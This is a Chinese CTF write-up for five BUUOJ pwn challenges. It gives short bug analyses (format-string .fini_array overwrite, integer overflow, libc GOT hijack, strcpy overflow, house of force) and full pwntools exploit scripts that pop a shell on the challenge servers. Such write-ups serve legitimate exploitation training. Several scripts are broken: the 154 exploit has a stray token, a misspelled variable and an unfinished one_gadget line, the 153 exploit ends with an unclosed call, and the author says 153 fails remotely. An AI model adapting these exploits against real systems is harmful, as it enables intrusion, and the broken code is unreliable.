151 ciscn_2019_sw_1
保护
要注意到的是RELRO一点没开,这意味着.fini_array是可以覆盖的。
栈上的格式化字符串。
system也有了。
printf只能用一次,但是我们前面说.fini_array可以覆盖,所以我们第一次先覆盖它为main,制造循环,然后劫持scanf的got表,进行利用就好。
要注意的是在我们覆盖.fini_array的意思是在返回的时候以此调用里面的函数,而这个题.fini_array数组只有一个数组,所以我们只能通过它来返回一次main函数,所以我们一共有两次printf的机会,所以要在第一次的时候就都改好。
还要注意的是当我们使用pwntools的模板的时候要注意,我们正常的使用方法会让我们的payload太长,所以我们有两种方法解决这个事情,第一个是后面加
write_size=‘int’ ,第二种就是自己去算去写。
exp
from pwn import *
context.log_level = "debug"
#r = process("./151")
r = remote('node3.buuoj.cn',27979)
elf = ELF('151')
main_addr = elf.sym['main']
fini_addr = 0x804979c
printf_got = elf.got['printf']
system_addr = elf.plt['system']
sys_high = (system_addr >> 16) & 0xffff
sys_low = (system_addr) & 0xffff
main_low = (main_addr) & 0xffff
print hex(sys_high)
print hex(sys_low)
print hex(main_low)
payload = "%" + str(sys_high) + "c%13$hn"
payload += "%" + str(sys_low - sys_high) + "c%14$hn"
payload += "%" + str(main_low - sys_low) +"c%15$hn"
payload += p32(printf_got + 2) + p32(printf_got) + p32(fini_addr)
r.sendlineafter("Welcome to my ctf! What's your name?", payload)
r.sendlineafter("Welcome to my ctf! What's your name?", "/bin/sh\x00")
r.interactive()
152 hgame2018_flag_server
目标是让v10有东西,于是就开始找溢出点。
最后找到了整数溢出。
from pwn import *
context.log_level = "debug"
r = remote("node3.buuoj.cn",26497)
r.sendlineafter('your username length: ','-1')
payload = 'a' * 65
r.sendlineafter('whats your username?\n',payload)
r.interactive()
153 hfctf_2020_marksman
分析程序 开场直接给了puts函数地址,我们直接能得到libc地址。
然后程序允许我们开三枪,也就是找个地方改三个字节。
因为我们可以得到libc的地址,所以我们的思路是通过劫持libc内的got表,来get shell。
libc内部也有延迟绑定机制,我们考虑puts函数,puts函数内部会电泳strlen函数,所以我们劫持libc内的strlen的got表,但是打不通,因为one_gadget的条件我们一个满足不了。
于是我们看向另外一个函数,dl_open,里面有调用libc函数的地方,就是这个_dl_catch_error,于是我们劫持他的got表,便可以getshell。
但是这个题远程环境有问题,本地过了远程过不了……
from pwn import *
context.log_level='debug'
r = remote("node3.buuoj.cn",28549)
#p = process("./153")
libc=ELF('./64/libc-2.27.so')
r.recvuntil('0x')
puts_addr=int(r.recvuntil('\n',drop=True),16)
success('puts addr: '+hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print hex(libc_base)
one=[0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
one_gadget=one[2]+libc_base
target=libc_base+0x5f6038
shoot=one_gadget&0xffffff
r.sendlineafter('shoot!shoot!\n',str(target))
r.sendlineafter('biang!\n',p8(shoot&0xff))
r.sendlineafter('biang!\n',p8((shoot>>8)&0xff))
r.sendlineafter('biang!\n',p8((shoot>>16)&0xff))
r.sendline("cat flag")
r.interactive(
154 gwctf_2019_easy_pwn
C++写的一个程序,在往s中read的时候大小没有问题,但是程序在下面会将字符"I"替换成"pretty",最后会strcpy然后发生了溢出,没有PIE和canary直接利用即可。
from pwn import *
r = remote('node3.buuoj.cn','29825')
elf = ELF("./154")
libc = ELF("./32/libc-2.23.so")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
payload l = 'I' * 16 + p32(puts_plt) + p32(main) + p32(puts_got)
r.send(payload)
r.recvuntil('pretty'*16)
r.recv(12)
puts_add=u32(r.recv(4))
libc_base = puts_addr - libc.sym['puts']
one_gadget = libc_base +
payload='I'*16 + p32(one_gadget)
r.send(payload)
r.interactive()
155 bctf2016_bcloud
pie没有 要注意RELRO也没都开,有劫持got表的机会。
漏洞点在于最开始的地方,输入name的时候,由于malloc是在输入之后,因此,v2处s的‘\x0’截断字符会被覆盖为堆指针,从而strcpy的时候把堆指针的值也复制进去,造成了堆地址泄露。
另一个漏洞也在那里,可以造成top chunk的size被修改为v3的值。
剩下的地方没有漏洞,我也就没有贴出来。
所以我们会发现有两个漏洞点,第一个我们可以修改top_chunk的size位,第二个我们申请道德chunk大小随便,所以就直接想到的是house of force。
我们下面利用方法是采取的大佬的利用思路,修改top_chunk的size位之后因为没有开pie,所以我们可以直接top_chunk拉到bss上面,然后做到一个unlink的一个操作。
from pwn import *
r = remote('node3.buuoj.cn',27139)
elf = ELF('./155')
libc = ELF("./32/libc-2.23.so")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
heap_array_addr = 0x0804B120
r.sendafter('Input your name:','a'*0x40)
r.recvuntil('a'*0x40)
heap_addr = u32(r.recv(4))
r.sendafter('Org:','a'*0x40)
r.sendlineafter('Host:',p32(0xFFFFFFFF))
top_chunk_addr = heap_addr + 0xD0
def add(size,content):
r.sendlineafter('option--->>','1')
r.sendlineafter('Input the length of the note content:',str(size))
r.sendafter('Input the content:',content)
def edit(index,content):
r.sendlineafter('option--->>','3')
r.sendlineafter('Input the id:',str(index))
r.sendafter('Input the new content:',content)
def delete(index):
r.sendlineafter('option--->>','4')
r.sendlineafter('Input the id:',str(index))
offset = heap_array_addr - top_chunk_addr - 0x10
add(offset,'') #0
add(0x18,'\n') #1
edit(1,p32(0) + p32(free_got) + p32(puts_got) + p32(0x0804B130) + '/bin/sh\x00')
edit(1,p32(puts_plt) + '\n')
delete(2)
r.recv(1)
puts_addr = u32(r.recv(4))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
edit(1,p32(system_addr) + '\n')
delete(3)
r.interactive()
我们也可以用另外一种更加普遍的方式,在我们的另外一道题gyctf_2020_force中,开启了pie,我们的利用方式是先通过mmap的机制泄露libc地址,即我们先申请一个非常大的chunk,系统会调用mmap申请一个libc之下的chunk,然后获得chunk地址,通过一定差值,获取libc地址。然后把top_chunk拉到malloc_hook处,然后直接进行利用就可以了。